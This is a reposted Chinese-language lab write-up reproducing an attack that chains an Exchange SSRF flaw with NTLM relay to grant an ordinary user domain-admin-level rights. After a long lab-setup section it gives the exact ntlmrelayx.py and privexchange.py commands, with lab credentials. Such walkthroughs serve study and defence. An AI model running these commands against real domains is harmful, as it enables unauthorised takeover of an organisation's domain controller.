最新消息:图 床

利用 Exchange SSRF 漏洞和 NTLM 中繼淪陷域控

COOL IAM 364浏览 0评论

作者:xax007@知道創宇404 ScanV安全服務團隊
作者博客:https://xax007.github.io/

漏洞簡述

在群里看到一篇分享的利用 Exchange SSRF 漏洞獲取域控 的文章(中文翻譯),讓我眼前一亮,後來又在微博看到有大佬復現了這個漏洞,於是我也決定試試。

上文中的漏洞利用思路按照我的理解可以匯總成一句話就是:

在Exchange 在域內具有高權限的前提下條件下,利用 Exchange 的跨站請求偽造漏洞進行 NTLM 中繼攻擊,修改域 ACL 使普通用戶具有域管理員同等級別的權限

這篇文章的利用手法和其他網上很多方法不同的點在於,對 SSRF 漏洞進一步利用達到了拿到域控的目的,其他文章里都僅僅是利用SSRF 漏洞查看管理的郵件或者修改管理員郵箱規則,如郵件自動轉發等。

不想拿到域控的黑闊不是一個好黑闊,利用多個普通漏洞,最大化利用漏洞拿到域控的騷姿勢肯定要學一下的,於是有了這篇文章。

此文記錄了我對這個漏洞進行的所有工作和遇到的坑。

漏洞環境搭建

復現這個漏洞最費時間又麻煩的就是搭建環境,我在 MacOS上 使用 Vmware Fusion 搭建了此漏洞需要的域環境

VMware Fusion 會在系統安裝兩個虛擬網卡,分別為 vmnet1vmnet8

vmnet8 為 NAT網卡,可以讓虛擬機上網 vmnet1 為 HostOnly 僅主機網卡,用來搭建私有網絡,我們需要對此網卡作出修改

如果在Windows系統搭建環境時,也應該設置所有虛擬主機為 HostOnly 模式,方法大同小異

配置 Vmware Fusion

修改 /Library/Preferences/VMware/ Fusion/networking 文件

關閉 vmnet1的 dhcp,否則虛擬主機之間無法通信

VERSION=1,0
answer VNET_1_DHCP no    #關閉dhcp
answer VNET_1_DHCP_CFG_HASH 9503E18413CDE50A84F0D124C42535C62DF8193B
answer VNET_1_HOSTONLY_NETMASK 255.255.255.0 # HostOnly 網絡子網掩碼
answer VNET_1_HOSTONLY_SUBNET 10.10.10.0     # HostOnly網絡地址
answer VNET_1_VIRTUAL_ADAPTER yes

可參考:MAC下VMware Fusion虛擬機配置網卡

搭建域環境

這裡可以下載到能免費試用180天的正版 Windows Server 2012 系統

我安裝了一台 Windows Server 2012,裝好以後克隆了一台,給虛擬分配多少硬件資源取決於自身電腦配置,這裡我電腦的配置

同步域內系統時間

搭建小型域環境里大佬說同步時間很重要,我發現我兩個系統的時間都不一樣,所以在域控所在的服務器配置系統時間:

打開 powershell 並執行

w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update 

其中

/manualpeerlist 表示外部時間源服務器列表,多個服務器之間可用空格分隔,cn.pool.ntp.orgtw.pool.ntp.orgNTP 時間服務器

/syncfromflags:manual 表示與指定的外部時間源服務器列表中的服務器進行同步

/reliable:yes 表示設置此計算機是一個可靠的時間源

/update 表示向時間服務發出配置已更改的通知,使更改生效

net stop w32time         關閉w32time服務

net start w32time         啟動w32time服務

w32tm /resync             手動與外部時間源服務器進行同步

w32tm /query /status   同步時間服務器狀態

w32tm /query /source  查詢時間同步源

w32tm /query /peers    查詢時間同步服務器及相關信息

以上步驟參考了以下的文章

Windows server 2012 部署NTP,實現成員服務器及客戶端時間與域控制器時間同步

我按照教程在域控所在的服務器執行到第三步,另一台服務器的時間自己就同步了

最終搭好了可用的域環境:

域名稱:evilcorp.local
域控:
  操作系統:Windows Server 2012 R2 
  IP: 10.10.10.2
  子網掩碼: 255.255.255.0
  網關: 10.10.10.1
  DNS: 10.10.10.2
Exchange 服務器:
  操作系統: Windows Server 2012 R2
  IP: 10.10.10.3
  子網掩碼: 255.255.255.0
  網關: 10.10.10.1
  DNS: 10.10.10.2
攻擊主機:
  操作系統: Kali
  IP: 10.10.10.5

按照以上三個教程的步驟走,看不明白繼續搜教程就可以搭好域環境

攻擊主機 Kali Linux 為了能訪問域網絡需要添加一個 HostOnly 網卡,我添加后的網卡名為 eth1

然後進行以下配置

╭─root@kali ~  
╰─?  ifconfig eth1 up
╭─root@kali ~  
╰─?  ifconfig eth1 10.10.10.5 netmask 255.255.255.0
╭─root@kali ~  
╰─?  route add default gw 10.10.10.1 eth1
╭─root@kali ~  
╰─?  

安裝 Exchange Server 2013

首先需要在 Exchange 所在的服務器上使用域控 Administrator 賬號登錄,不然安裝檢查是會出現一大堆錯誤

安裝 Exchange 前要裝依賴組件,可以參考上面 l3m0n 大佬的文章和 Windows Server 2012 安裝 Exchange 2013 這兩篇文章

安裝好 Exchange 以後訪問 Exchange 頁面,在我的環境里的地址是 https://10.10.10.3 ,需要添加一個普通域用戶,然後用域控管理員賬號登錄 Exchange 為此用戶分配 Exchange 賬號,這一步網上有很多教程

後續要用此普通用戶來提權

所有的環境搭建好以後要進入激動人心的漏洞利用環節了!!!

漏洞利用

準備工具

漏洞利用需要下載兩個工具:

第二個 Impacket 是一個功能很強大的 Windows 網絡(SMB, MSRPC)工具包

Kali 自帶 Impacket,是版本過時了,需要安裝最新的

git clone 下載下來后,進入到 Impacket 目錄使用 pip 安裝

pip install .

注意這個工具是 python2 寫的,使用 python3會出錯

發起攻擊

首先在本機啟動 NTLM 中繼,進入到 Impackerexamples 目錄執行

python ntlmrelayx.py -t ldap://evilcorp.local --escalate-user mr.robot

其中

evilcorp.local 是域的名稱

--escalate-user 的參數是 Exchange 的普通權限用戶名,也就是之前添加的普通用戶用戶名

然後執行提權腳本

python privexchange.py -ah 10.10.10.1 10.10.10.3 -u mr.robot -p "Hacktheplanet/!" -d evilcorp.local 

其中

-ah 參數指定域控地址可以是域的名稱或 IP 地址,在這裡為 10.10.10.1 10.10.10.3 為 Exchange 服務器在域的名稱或者IP地址 -u 指定需要提權的 Exchange 的普通權限用戶名 -p指定 Exchange 的普通權限用戶的密碼 -d 指定域的名稱

如果攻擊成功你會看到 privexchange.py 腳本的輸出

转载请注明:IAMCOOL » 利用 Exchange SSRF 漏洞和 NTLM 中繼淪陷域控

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x